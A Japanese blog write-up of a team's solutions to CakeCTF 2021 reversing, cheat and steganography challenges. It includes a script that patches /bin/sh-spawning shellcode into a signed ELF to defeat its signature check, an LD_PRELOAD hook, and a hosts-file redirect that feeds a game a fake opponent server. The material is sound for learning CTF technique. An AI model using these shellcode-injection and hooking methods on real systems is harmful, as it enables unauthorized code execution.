CakeCTF 2021 Writeup

CakeCTF 2021にチームKUDoSで参加しました。スコアは4145点で6/157位でした。

f:id:arata-nvm:20210830112155p:plain

解けた問題のWriteupを書きます。

いつもはScrapboxにまとめているんですが、公開範囲の設定ができないのではてなブログに複製しました。

reversing

nostrings

配布されたバイナリをGhidraで解析します。

undefined8 FUN_001011a9(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  int local_60;
  int local_5c;
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("flag: ");
  __isoc99_scanf(&DAT_0010200b,local_58);
  local_60 = 1;
  local_5c = 0;
  do {
    if (0x39 < local_5c) {
      if (local_60 == 0) {
        puts("-_- < flag in the string...");
      }
      else {
        puts(".O. < i+! +o6 noh");
        puts(">v< this is the flag");
      }
      uVar1 = 0;
LAB_001012ae:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    if (local_58[local_5c] == '\x7f') {
      puts("^o^");
      uVar1 = 1;
      goto LAB_001012ae;
    }
    local_60 = (uint)((uint)(byte)s__00104020[(long)(int)local_58[local_5c] * 0x7f + (long)local_5c]
                     == (int)local_58[local_5c]) * local_60;
    local_5c = local_5c + 1;
  } while( true );
}

s__00104020にはダミーフラグが複数入っており、その中の文字と入力された文字を比較しています。 この条件を満たすような文字列を求めるとフラグが得られます。

 import string
 
 with open("chall", "rb") as f:
     data = f.read()[0x3020:]
 
 flag = [" "] * 0x3a
 for c in string.printable:
     for i in range(0x3a):
         if data[ord(c) * 0x7f + i] == ord(c):
             flag[i] = c
 
 print("".join(flag))

Hash browns

First Bloodでした(うれしい)。

配布されたバイナリをGhidraで解析します。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  size_t sVar2;
  long lVar3;
  undefined8 *puVar4;
  undefined8 *puVar5;
  long in_FS_OFFSET;
  int local_3bc;
  undefined local_3b8 [4];
  int local_3b4;
  int local_3b0;
  int local_3ac;
  undefined8 local_3a8;
  undefined8 local_208;
  undefined local_62;
  undefined local_61;
  undefined local_60;
  undefined local_5f;
  char local_5e [11];
  char local_53 [11];
  byte local_48 [16];
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puVar4 = &DAT_001020a0;
  puVar5 = &local_3a8;
  for (lVar3 = 0x32; lVar3 != 0; lVar3 = lVar3 + -1) {
    *puVar5 = *puVar4;
    puVar4 = puVar4 + 1;
    puVar5 = puVar5 + 1;
  }
  *(undefined4 *)puVar5 = *(undefined4 *)puVar4;
  *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4);
  *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6);
  puVar4 = &DAT_00102240;
  puVar5 = &local_208;
  for (lVar3 = 0x32; lVar3 != 0; lVar3 = lVar3 + -1) {
    *puVar5 = *puVar4;
    puVar4 = puVar4 + 1;
    puVar5 = puVar5 + 1;
  }
  *(undefined4 *)puVar5 = *(undefined4 *)puVar4;
  *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4);
  *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6);
  if (param_1 < 2) {
    printf("Usage: %s <flag>\n",*param_2,(long)puVar4 + 7);
  }
  else {
    sVar2 = strlen((char *)param_2[1]);
    local_3ac = (int)(sVar2 >> 1);
    if (local_3ac == 0x25) {
      for (local_3b4 = 0; local_3b4 < local_3ac; local_3b4 = local_3b4 + 1) {
        f(local_3b4,local_3ac,&local_3bc,local_3b8);
        if (local_3bc < 0) {
          local_3bc = local_3ac + local_3bc;
        }
        local_62 = *(undefined *)((long)(local_3b4 * 2) + param_2[1]);
        local_61 = 0;
        local_60 = *(undefined *)(param_2[1] + (long)(local_3b4 * 2) + 1);
        local_5f = 0;
        md5(&local_62,local_48);
        sha256(&local_60,local_38);
        for (local_3b0 = 0; local_3b0 < 5; local_3b0 = local_3b0 + 1) {
          sprintf(local_5e + local_3b0 * 2,"%02x",(ulong)local_48[local_3b0]);
          sprintf(local_53 + local_3b0 * 2,"%02x",(ulong)local_38[local_3b0]);
        }
        iVar1 = strcmp((char *)((long)&local_3a8 + (long)local_3b4 * 0xb),local_5e);
        if (iVar1 != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
        iVar1 = strcmp((char *)((long)&local_208 + (long)local_3bc * 0xb),local_53);
        if (iVar1 != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
      }
      puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients.");
    }
    else {
      puts("Too sweet :(");
    }
  }
LAB_00101768:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

入力値を1文字ずつ区切り、奇数位置の文字はMD5ハッシュ値を、偶数位置の文字はSHA-256ハッシュ値をとっています。そしてバイナリ内にある文字列とそれらをstrcmp(3)で比較しています。

比較している文字列はLD_PRELOADを使って関数を差し替えると簡単に取得できます。

$ cat strcmp.c
#include <stdio.h>

int strcmp(char *s1, char *s2) {
    printf("%s\n", s1);
    return 0;
}

$ gcc -shared -fPIC strcmp.c -o strcmp.so
$ LD_LIBRARY_PATH=./ LD_PRELOAD=./strcmp.so ./hash_browns `python -c "print('A'*0x25*2)"`
 0d61f8370c
 ca978112ca
 8ce4b16b22
 3f79bb7b43
 0d61f8370c
(略)

以上の情報をもとに、ハッシュ値からもとの文字列を求めるとフラグが得られます。

 from hashlib import md5, sha256
 import string
 
 log = """
 0d61f8370c
 ca978112ca
 8ce4b16b22
 3f79bb7b43
 0d61f8370c
(略)
 """
 logs = log.split("\n")[1:-1]
 
 md5_hashes = {}
 sha256_hashes = {}
 
 for c in string.printable:
     md5_hashes[md5(c.encode()).hexdigest()[:10]] = c
     sha256_hashes[sha256(c.encode()).hexdigest()[:10]] = c
 
 flag = ""
 for i in range(0, len(logs), 2):
     flag += md5_hashes[logs[i]]
     flag += sha256_hashes[logs[i + 1]]
 print(flag)

rflag

バイナリの解析だけ担当しました。過密さんが解いてくれたので実質何もしていない。

第15回 数当てマジックと31の謎(前編)|数学ガールの秘密ノート|結城浩|cakes(ケイクス)

原理的にはこれと同じです。

ALDRYA

以下のファイルが配布されます。

  • aldrya - ELFファイルと署名ファイルを与えると、署名を検証したのちELFファイルを実行してくれるバイナリ
  • sample.elf - ELFファイル
  • sample.aldrya - sample.elfの署名ファイル
  • server.py - 問題サーバーで./aldrya <ELFファイル> ./sample.aldryaを実行してくれるコード

問題サーバーでは署名ファイルがsample.aldryaに固定されているので、署名の検証に失敗せずかつシェルを取れるようなELFファイルを作れ、という問題になります。

ソルバーを紛失したので解法は省略します。 配布されたsample.elf_start関数にシェルコードを埋め込むという方針で解きました。

以下のコードで生成されるoutput.elfを問題サーバーで実行するとシェルが実行されフラグを得ることができます。

# _start関数のアドレス
place = 0x1060

# 埋め込むコードの生成
# http://shell-storm.org/shellcode/files/shellcode-905.php
code = [0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05]
size = len(code) + 32

code += [(1 << 3) | (1 << 5) | (1 << 6)]
code += [0] * 5
code += [(1 << 6) | (1 << 7)]
code += [0] * 3
code += [1 << 7]
code += [0] * 1
code += [(1 << 6) | (1 << 7)]
code += [0] * 4
code += [1 << 7]
code += [0] * 3
code += [(1 << 6)|(1 << 7)]
code += [1 << 7]
code += [1 << 2]
code += [0] * (size - len(code))

# ELFファイルに埋め込む
with open("sample.elf", "rb") as f:
    data = f.read()

data = list(data)
for i in range(len(code)):
    data[place + i] = code[i]
data = bytes(data)

with open("output.elf", "wb") as f:
    f.write(data)

cheat

Kingtaker

Game Makerを使用して作られたゲームが与えられます。

Game Makerではグローバル変数globalという名前の変数に格納されるので調べてみると以下の変数が存在しました。

  • global["__3"]: ステージをクリアしたかのフラグ
  • global["_n4"]: 残りの歩数

よって、ブラウザーのConsoleでglobal["__3"] = 1を何回か実行するとフラグが得られます。

ところで、パズルをスキップできるアクションパズル悪魔っ娘ハーレムゲームことHelltakerは無料で遊べるので、暇なときにやってみるとよいかもしれません。

Helltaker on Steam

Yoshi-Shogi

Rust製の将棋ゲームが配布されます。

normal modeとflag modeがありflag modeで相手に勝つとフラグが得られそうです。

最初にバイナリの改変を試しましたが、flag modeで王を取ってもフラグは得られませんでした。 どうやら相手を降参させる必要があるようです。

次にバイナリを解析すると、外部のAPIと通信して次の手を決めていることがわかりました。 よって、降参しか指示しないサーバーをローカルに立ててそこに通信が行くようにしてやれば相手が降参してフラグを得ることができます。

# server.py

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"bestmove": "resign"}')

addr = ("", 15061)
with HTTPServer(addr, Handler) as server:
    server.serve_forever()
$ strings yoshi-shogi | grep "http://.*:.*/"
(APIのURLが手に入る)
$ echo "127.0.0.1 <CENSORED>" | sudo tee -a /etc/hosts
$ python server.py

misc

Break a leg

from PIL import Image
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")

bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]

img = Image.new("RGB", (256, 256))

img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
img.save("chall.png")

LSBにフラグが隠されているsteganography問題です。

ランダムなビット列とORをとっていますが、得られる値には以下のような性質があることがわかります。

  • フラグのビットが0 -> 01
  • フラグのビットが1 -> 1

この性質を利用してフラグを求めることができます。

 from PIL import Image
 
 img = Image.open("chall.png")
 bits = [i & 1 for sl in img.getdata() for i in sl]
 
 for flag_len in range(1, 0xff):
     # 最初の0は省略されるので-1する
     flag_bits_len = flag_len * 8 - 1
     flag_bits = [1] * flag_bits_len
     for i in range(len(bits)):
         flag_bits[i % flag_bits_len] &= bits[i]
     
     flag_int = int("".join([str(i) for i in flag_bits][::-1]), 2)
     flag = int.to_bytes(flag_int, flag_bits_len, "big")
     try:
         print(flag_len, flag.decode())
     except Exception as e:
         pass

感想など

しばらく幽霊になっていましたが、久しぶりにCTFに参加しました。 やはり実力不足が否めません。

とても楽しいCTFでした。運営の皆さんありがとうございました。